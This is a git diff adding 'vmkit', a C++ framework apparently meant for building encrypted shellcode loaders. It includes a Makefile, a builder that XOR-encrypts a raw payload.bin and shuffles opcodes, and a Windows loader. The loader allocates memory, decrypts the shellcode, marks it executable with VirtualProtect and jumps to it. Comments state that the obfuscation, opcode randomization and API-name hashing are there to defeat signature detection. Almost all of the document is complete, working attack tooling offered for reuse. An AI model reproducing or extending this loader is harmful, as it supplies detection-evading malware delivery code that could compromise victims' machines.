diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..e72f7e5 --- /dev/null +++ b/Makefile @@ -0,0 +1,64 @@ +# vmkit: example build. +# Builds the portable example loader and its companion builder. +# +# Usage: +# make # build both example_loader and example_builder +# make run-loader # build + run the example loader +# make run-builder # build + run the example builder +# make clean # remove built artifacts +# +# Override CXX or CXXFLAGS as needed: +# make CXX=g++ +# make CXXFLAGS="-std=c++20 -O3" + +# Use = (not ?=) so we override Make's built-in default of g++. +# Override on the command line: make CXX=g++ +CXX = clang++ +CXXFLAGS = -std=c++20 -O2 -Wall -Wextra -Wpedantic +INCLUDES := -I. + +# Detect MSYS2 / MinGW / Cygwin shells where MSYS-style /tmp paths leak into +# TMP/TEMP and break Microsoft's link.exe. In that case we point both at +# LOCALAPPDATA\Temp (resolved by the recipe shell at build time). +UNAME_S := $(shell uname -s 2>/dev/null) +ifneq (,$(filter MSYS% MINGW% CYGWIN%,$(UNAME_S))) + EXE := .exe + RM := rm -f + TMP_FIX := TMP="$$LOCALAPPDATA\\Temp" TEMP="$$LOCALAPPDATA\\Temp" +else ifeq ($(OS),Windows_NT) + EXE := .exe + RM := rm -f + TMP_FIX := +else + EXE := + RM := rm -f + TMP_FIX := +endif + +EXAMPLES := example/example_loader$(EXE) example/example_builder$(EXE) + +.PHONY: all clean run-loader run-builder + +all: $(EXAMPLES) + +# The builder reads example/payload.bin (raw shellcode) and emits the +# encrypted bytecode + payload header that the loader consumes. If you change +# payload.bin, embedded.h regenerates and the loader picks it up automatically. +example/embedded.h: example/example_builder$(EXE) example/payload.bin + ./$< example/payload.bin > $@ + +# Loader depends on the generated bytecode header. +example/example_loader$(EXE): example/example_loader.cpp vm_loader.hpp example/embedded.h + $(TMP_FIX) $(CXX) $(CXXFLAGS) $(INCLUDES) $< -o $@ + +example/%$(EXE): example/%.cpp vm_loader.hpp + $(TMP_FIX) $(CXX) $(CXXFLAGS) $(INCLUDES) $< -o $@ + +run-loader: example/example_loader$(EXE) + ./$< + +run-builder: example/example_builder$(EXE) + ./$< + +clean: + -$(RM) $(EXAMPLES) example/embedded.h diff --git a/compile_flags.txt b/compile_flags.txt new file mode 100644 index 0000000..49bcdfc --- /dev/null +++ b/compile_flags.txt @@ -0,0 +1,6 @@ +-std=c++20 +-Wall +-Wextra +-Wpedantic +-fno-exceptions +-fno-rtti diff --git a/example/example_builder.cpp b/example/example_builder.cpp new file mode 100644 index 0000000..0196d44 --- /dev/null +++ b/example/example_builder.cpp @@ -0,0 +1,186 @@ +/* +BSD 2-Clause License + +Copyright (c) 2026, MochaByte + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are met: + +1. Redistributions of source code must retain the above copyright notice, this + list of conditions and the following disclaimer. + +2. Redistributions in binary form must reproduce the above copyright notice, + this list of conditions and the following disclaimer in the documentation + and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE +FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER +CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, +OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +*/ + +/* + example_builder.cpp : the tiny builder companion to example_loader.cpp. + + Reads a raw shellcode file from argv[1] (typically example/payload.bin), + then emits a self-contained C++ header on stdout containing: + - g_ir_blob[] : the encrypted, opcode-randomized bytecode (5 ops) + - g_ir_seed : the 32-bit seed both sides use to derive XOR keys + - g_ir_payload[] : the encrypted shellcode bytes + - g_ir_payload_size: how many bytes the payload is + + The Makefile redirects that header into example/embedded.h, which the + loader then #include's. Result: a real round-trip where what the builder + writes is exactly what the loader reads back, decrypts, and runs ^^. + + The bytecode pipeline this produces is the classic loader sequence: + alloc -> write encrypted -> decrypt in place -> protect RX -> jump. + + Build: + clang++ -std=c++20 -O2 -I.. example_builder.cpp -o example_builder + Run: + ./example_builder example/payload.bin > example/embedded.h +*/ + +#include "../vm_loader.hpp" + +#include +#include +#include +#include +#include +#include +#include + +// Mirror the loader's opcode definition. In a real project this would live in +// a shared header consumed by both sides. +enum class LoaderOp : std::uint8_t { + AllocRegion = 0, + WritePayload = 1, + DecryptRegion = 2, + ProtectRX = 3, + ExecRegion = 4, +}; + +using OpT = vmkit::Op; + +// Forward map: real opcode -> randomized opcode written into the bytecode. +// Must be the inverse of the loader's reverse map. Shuffle these around per +// build to defeat opcode-byte signatures. +constexpr vmkit::OpcodeReverseMap forward_map() noexcept { + vmkit::OpcodeReverseMap m = vmkit::identity_reverse_map(); + m[static_cast(LoaderOp::AllocRegion)] = 4; + m[static_cast(LoaderOp::WritePayload)] = 2; + m[static_cast(LoaderOp::DecryptRegion)] = 0; + m[static_cast(LoaderOp::ProtectRX)] = 1; + m[static_cast(LoaderOp::ExecRegion)] = 3; + return m; +} + +// Build one op with its opcode pre-encoded through the forward map. +constexpr OpT make_op(LoaderOp real, std::uint32_t a = 0, std::uint32_t b = 0, + std::uint64_t x = 0) noexcept { + constexpr auto fmap = forward_map(); + OpT op{}; + op.opcode = LoaderOp{fmap[static_cast(real)]}; + op.u32[0] = a; + op.u32[1] = b; + op.u64[0] = x; + return op; +} + +// Derive a 32-byte XOR key from a seed. Mix in a constant so identical seeds +// across projects don't produce identical keys. Both sides use this for both +// the bytecode and the payload, so keep it in sync with the loader. +static std::array derive_key(std::uint32_t seed) noexcept { + std::array key{}; + constexpr std::uint8_t base[6] = {'v', 'm', 'k', 'i', 't', '!'}; + for (std::size_t i = 0; i < key.size(); ++i) { + key[i] = static_cast(base[i % 6] + (seed & 0xFF) + i * 13); + } + return key; +} + +// Slurp a binary file into a vector. Used to pull the shellcode in. +static std::vector read_file(const char* path) { + std::ifstream f(path, std::ios::binary | std::ios::ate); + if (!f) { + std::fprintf(stderr, "example_builder: cannot open '%s'\n", path); + std::exit(1); + } + const std::streamsize size = f.tellg(); + f.seekg(0, std::ios::beg); + std::vector buf(static_cast(size)); + if (size > 0 && !f.read(reinterpret_cast(buf.data()), size)) { + std::fprintf(stderr, "example_builder: failed reading '%s'\n", path); + std::exit(1); + } + return buf; +} + +// Print a span as a comma-separated hex array, 16 bytes per line. +static void emit_hex_array(std::span data) { + for (std::size_t i = 0; i < data.size(); ++i) { + std::printf("0x%02X,%s", data[i], (i % 16 == 15) ? "\n " : " "); + } +} + +int main(int argc, char** argv) { + if (argc < 2) { + std::fprintf(stderr, "usage: %s \n", argv[0]); + return 1; + } + + // Pull the plaintext shellcode in. + auto payload = read_file(argv[1]); + const std::size_t payload_size = payload.size(); + + // The 5-op pipeline the loader will run: + // alloc R0 -> write encrypted payload -> decrypt R0 -> protect RX -> jump. + OpT program[] = { + make_op(LoaderOp::AllocRegion, /*region=*/0, /*-*/0, /*size=*/payload_size), + make_op(LoaderOp::WritePayload, /*region=*/0, /*size=*/static_cast(payload_size), /*src_off=*/0), + make_op(LoaderOp::DecryptRegion, /*region=*/0, /*-*/0, /*size=*/payload_size), + make_op(LoaderOp::ProtectRX, /*region=*/0, /*-*/0, /*size=*/payload_size), + make_op(LoaderOp::ExecRegion, /*region=*/0), + }; + + auto blob = std::span{ + reinterpret_cast(program), + sizeof(program), + }; + + // Encrypt both the bytecode and the payload with a key derived from the + // same seed. Splitting them into two keys is straightforward; we keep one + // here for simplicity. + constexpr std::uint32_t seed = 0xC0FFEE; + const auto key = derive_key(seed); + vmkit::xor_codec::apply(blob, key); + vmkit::xor_codec::apply(std::span(payload), key); + + // Emit the self-contained header. + std::printf("#pragma once\n"); + std::printf("// Generated by example_builder. Do not edit by hand.\n"); + std::printf("// seed = 0x%08X | bytecode = %zu bytes (%zu ops) | payload = %zu bytes\n", + seed, blob.size(), blob.size() / sizeof(OpT), payload_size); + std::printf("#include \n"); + std::printf("#include \n\n"); + + std::printf("inline constexpr unsigned char g_ir_blob[] = {\n "); + emit_hex_array(blob); + std::printf("\n};\n"); + std::printf("inline constexpr std::uint32_t g_ir_seed = 0x%08Xu;\n\n", seed); + + std::printf("inline constexpr unsigned char g_ir_payload[] = {\n "); + emit_hex_array(std::span(payload)); + std::printf("\n};\n"); + std::printf("inline constexpr std::size_t g_ir_payload_size = %zu;\n", payload_size); + return 0; +} diff --git a/example/example_loader.cpp b/example/example_loader.cpp new file mode 100644 index 0000000..114a79b --- /dev/null +++ b/example/example_loader.cpp @@ -0,0 +1,180 @@ +/* +BSD 2-Clause License + +Copyright (c) 2026, MochaByte + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are met: + +1. Redistributions of source code must retain the above copyright notice, this + list of conditions and the following disclaimer. + +2. Redistributions in binary form must reproduce the above copyright notice, + this list of conditions and the following disclaimer in the documentation + and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE +FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER +CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, +OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +*/ + +/* + example_loader.cpp : small Windows shellcode loader driven by vmkit. + + Runs a 5-op IR program against an embedded, encrypted shellcode payload: + + 1. AllocRegion(r=0, size) -> VirtualAlloc(PAGE_READWRITE) + 2. WritePayload(r=0, src_off, size) -> memcpy from g_ir_payload (still encrypted) + 3. DecryptRegion(r=0, size) -> XOR in place with the seed-derived key + 4. ProtectRX(r=0, size) -> VirtualProtect(PAGE_EXECUTE_READ) + 5. ExecRegion(r=0) -> cast to fn ptr and jump + + Both the bytecode (g_ir_blob) and the shellcode (g_ir_payload) come from + example_builder.cpp, which the Makefile runs against example/payload.bin to + generate example/embedded.h. So this is a real round-trip: builder reads a + raw shellcode + emits encrypted artifacts, loader includes them, decrypts, + and runs ^^. + + Build: + make +*/ +#include "../vm_loader.hpp" +#include "embedded.h" // generated by example_builder + +#define WIN32_LEAN_AND_MEAN +#include + +#include +#include + +enum class LoaderOp : std::uint8_t { + AllocRegion = 0, + WritePayload = 1, + DecryptRegion = 2, + ProtectRX = 3, + ExecRegion = 4, +}; + +struct LoaderContext { + void* regions[8] = {}; +}; + +using OpT = vmkit::Op; + +template <> +struct vmkit::Handler { + static void execute(LoaderContext& ctx, const OpT& op) noexcept { + const std::uint32_t region_id = op.u32[0]; + const SIZE_T size = static_cast(op.u64[0]); + ctx.regions[region_id] = + VirtualAlloc(nullptr, size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + } +}; + +template <> +struct vmkit::Handler { + static void execute(LoaderContext& ctx, const OpT& op) noexcept { + const std::uint32_t region_id = op.u32[0]; + const std::uint32_t size = op.u32[1]; + const std::uint64_t src_off = op.u64[0]; + std::memcpy(ctx.regions[region_id], g_ir_payload + src_off, size); + } +}; + +// Mirror of the builder's derive_key. Both sides MUST agree on this algorithm, +// otherwise decryption produces garbage and we end up jumping into nonsense. +static std::array derive_key(std::uint32_t seed) noexcept { + std::array key{}; + constexpr std::uint8_t base[6] = {'v', 'm', 'k', 'i', 't', '!'}; + for (std::size_t i = 0; i < key.size(); ++i) { + key[i] = static_cast(base[i % 6] + (seed & 0xFF) + i * 13); + } + return key; +} + +template <> +struct vmkit::Handler { + static void execute(LoaderContext& ctx, const OpT& op) noexcept { + const std::uint32_t region_id = op.u32[0]; + const std::size_t size = static_cast(op.u64[0]); + const auto key = derive_key(g_ir_seed); + vmkit::xor_codec::apply( + std::span(static_cast(ctx.regions[region_id]), size), + std::span(key)); + } +}; + +template <> +struct vmkit::Handler { + static void execute(LoaderContext& ctx, const OpT& op) noexcept { + const std::uint32_t region_id = op.u32[0]; + const SIZE_T size = static_cast(op.u64[0]); + DWORD old_protect = 0; + VirtualProtect(ctx.regions[region_id], size, PAGE_EXECUTE_READ, &old_protect); + } +}; + +template <> +struct vmkit::Handler { + static void execute(LoaderContext& ctx, const OpT& op) noexcept { + const std::uint32_t region_id = op.u32[0]; + using shellcode_fn = void (*)(); + auto fn = reinterpret_cast(ctx.regions[region_id]); + fn(); + } +}; + +struct LoaderConfig : vmkit::DefaultConfig { + // Opcode bytes in g_ir_blob are randomized; map them back through this table. + static constexpr bool opcode_randomization = true; + // g_ir_blob itself is XOR-encrypted; decrypt_bytecode runs once before dispatch. + static constexpr bool bytecode_xor_encrypted = true; + + // Inverse of the builder's forward map. + static constexpr vmkit::OpcodeReverseMap opcode_reverse_map = [] { + vmkit::OpcodeReverseMap m = vmkit::identity_reverse_map(); + m[0] = static_cast(LoaderOp::DecryptRegion); + m[1] = static_cast(LoaderOp::ProtectRX); + m[2] = static_cast(LoaderOp::WritePayload); + m[3] = static_cast(LoaderOp::ExecRegion); + m[4] = static_cast(LoaderOp::AllocRegion); + return m; + }(); + + // In-place XOR with the same key the builder used. + static void decrypt_bytecode(std::span blob, + std::uint32_t seed) noexcept { + const auto key = derive_key(seed); + vmkit::xor_codec::apply(blob, std::span(key)); + } +}; + +int main() { + // Copy the encrypted bytecode from embedded.h into a mutable buffer, since + // execute() decrypts it in place. + std::array blob_buf{}; + std::memcpy(blob_buf.data(), g_ir_blob, sizeof(g_ir_blob)); + + LoaderContext ctx{}; + vmkit::Vm> vm; + + vm.execute(std::span(blob_buf), ctx, g_ir_seed); + + for (auto* p : ctx.regions) { + if (p) VirtualFree(p, 0, MEM_RELEASE); + } + return 0; +} diff --git a/example/payload.bin b/example/payload.bin new file mode 100644 index 0000000..ab2bf83 Binary files /dev/null and b/example/payload.bin differ diff --git a/vm_loader.hpp b/vm_loader.hpp new file mode 100644 index 0000000..8bb877d --- /dev/null +++ b/vm_loader.hpp @@ -0,0 +1,240 @@ +/* +BSD 2-Clause License + +Copyright (c) 2026, MochaByte + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are met: + +1. Redistributions of source code must retain the above copyright notice, this + list of conditions and the following disclaimer. + +2. Redistributions in binary form must reproduce the above copyright notice, + this list of conditions and the following disclaimer in the documentation + and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE +FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER +CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, +OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +*/ + + +#pragma once + +/* + vmkit: a header-only, freestanding VM template for IR-bytecode loaders. + + What you get out of the box: + * Single header. No CRT, no STL allocators, no exceptions, no RTTI. + * Plays nicely with /NODEFAULTLIB and -nostdlib++. + * Zero-cost dispatch through a constexpr 256-entry function-pointer table. + * Adding an opcode means adding a Handler specialization. No giant + switch to keep editing every time. + + The pattern in three lines: + 1. Builder emits a sequence of fixed-size Op records, optionally XOR-encrypted. + 2. Loader hands the blob to Vm::execute, which decrypts, decodes, dispatches. + 3. Per-opcode behavior lives in Handler specializations on your side. + + Usage: + enum class MyOp : std::uint8_t { Alloc = 0, Write = 1, Exec = 2 }; + struct MyContext { ... whatever state your loader needs ... }; + + template<> struct vmkit::Handler { + static void execute(MyContext& ctx, const vmkit::Op& op) noexcept; + }; + // ... and so on for Write, Exec ... + + vmkit::Vm> vm; + vm.execute(blob_span, ctx, seed); + + One constraint worth knowing: the opcode enum's underlying type must fit in + a uint8_t (0..255). The dispatch table is exactly 256 entries: same size as + the opcode reverse map used for randomization ^^. + +*/ + +#include +#include +#include +#include + +namespace vmkit { + +// Op: a single fixed-size IR operation. +// Tune slot counts via template params; default 8x u32 + 4x u64 covers most loaders. +template +struct alignas(8) Op { + Opcode opcode; + std::uint32_t u32[U32Slots]; + std::uint64_t u64[U64Slots]; +}; + +// Handler: primary template, intentionally undefined. +// User specializes once per opcode. A missing specialization for a listed +// opcode is a hard compile error (see static_assert in Vm::dispatch_to). +template +struct Handler; + +// OpcodeList: pack of opcode values the VM should know how to dispatch. +// Anything not in this list maps to unknown_op (a no-op). +template +struct OpcodeList {}; + +// HasHandler: concept used for compile-time validation. +template +concept HasHandler = requires(Ctx& ctx, const OpT& op) { + Handler::execute(ctx, op); +}; + +// xor_codec: minimal in-place XOR for bytecode and context blobs. +namespace xor_codec { + +constexpr void apply(std::span data, + std::span key) noexcept { + for (std::size_t i = 0; i < data.size(); ++i) { + data[i] ^= key[i % key.size()]; + } +} + +} // namespace xor_codec + +// api_hash: Jenkins-OAAT with seed rotation, evaluated at compile time. +// Use: constexpr auto h = vmkit::api_hash::oaat("NtAllocateVirtualMemory"); +namespace api_hash { + +constexpr std::uint32_t oaat(const char* s, std::uint32_t seed = 1) noexcept { + std::uint32_t h = 0; + for (std::size_t i = 0; s[i] != '\0'; ++i) { + h += static_cast(s[i]); + h += h << seed; + h ^= h >> 6; + } + h += h << 3; + h ^= h >> 11; + h += h << 15; + return h; +} + +} + +// Reverse opcode map: 256-byte table for opcode randomization. +// Builder writes the forward (real -> randomized) map into bytecode; +// runtime applies the inverse here before dispatch. +using OpcodeReverseMap = std::array; + +constexpr OpcodeReverseMap identity_reverse_map() noexcept { + OpcodeReverseMap m{}; + for (std::size_t i = 0; i < 256; ++i) { + m[i] = static_cast(i); + } + return m; +} + +// DefaultConfig: disabled-by-default obfuscation flags. +// Inherit and override flags + hooks for the features you want. +struct DefaultConfig { + // Feature flags + static constexpr bool opcode_randomization = false; + static constexpr bool bytecode_xor_encrypted = false; + static constexpr bool per_op_context_encryption = false; + + // Reverse map used iff opcode_randomization is true + static constexpr OpcodeReverseMap opcode_reverse_map = identity_reverse_map(); + + // Hooks: called only when their corresponding flag is true. + // bytecode_xor_encrypted -> decrypt_bytecode + static void decrypt_bytecode(std::span /*blob*/, + std::uint32_t /*seed*/) noexcept {} + + // per_op_context_encryption -> {encrypt,decrypt}_context + template + static void encrypt_context(Ctx& /*ctx*/, std::uint32_t /*op_index*/) noexcept {} + + template + static void decrypt_context(Ctx& /*ctx*/, std::uint32_t /*op_index*/) noexcept {} +}; + +// Vm: the dispatcher. Specialized on the OpcodeList for per-opcode validation. +template > +class Vm; + +template +class Vm> { +public: + using OpType = Op; + using Dispatcher = void (*)(Ctx&, const OpType&) noexcept; + + // Execute a (possibly encrypted) bytecode blob. + // blob is mutable because in-place decryption may rewrite it. + void execute(std::span blob, + Ctx& ctx, + std::uint32_t seed = 0) const noexcept { + if constexpr (Cfg::bytecode_xor_encrypted) { + Cfg::decrypt_bytecode(blob, seed); + } + + const std::size_t count = blob.size() / sizeof(OpType); + const auto* ops = reinterpret_cast(blob.data()); + + for (std::size_t i = 0; i < count; ++i) { + if constexpr (Cfg::per_op_context_encryption) { + if (i > 0) { + Cfg::decrypt_context(ctx, static_cast(i)); + } + } + + const OpType& op = ops[i]; + std::uint8_t raw = static_cast(op.opcode); + if constexpr (Cfg::opcode_randomization) { + raw = Cfg::opcode_reverse_map[raw]; + } + + dispatch_table[raw](ctx, op); + + if constexpr (Cfg::per_op_context_encryption) { + Cfg::encrypt_context(ctx, static_cast(i + 1)); + } + } + + if constexpr (Cfg::per_op_context_encryption) { + if (count > 0) { + Cfg::decrypt_context(ctx, static_cast(count)); + } + } + } + +private: + template + static void dispatch_to(Ctx& ctx, const OpType& op) noexcept { + static_assert(HasHandler, "vmkit: missing Handler specialization for a listed opcode"); + Handler::execute(ctx, op); + } + + static void unknown_op(Ctx& /*ctx*/, const OpType& /*op*/) noexcept {} + + static constexpr std::array build_table() noexcept { + std::array t{}; + for (auto& f : t) { + f = &unknown_op; + } + ((t[static_cast(Ops)] = &dispatch_to), ...); + return t; + } + + static constexpr std::array dispatch_table = build_table(); +}; + +}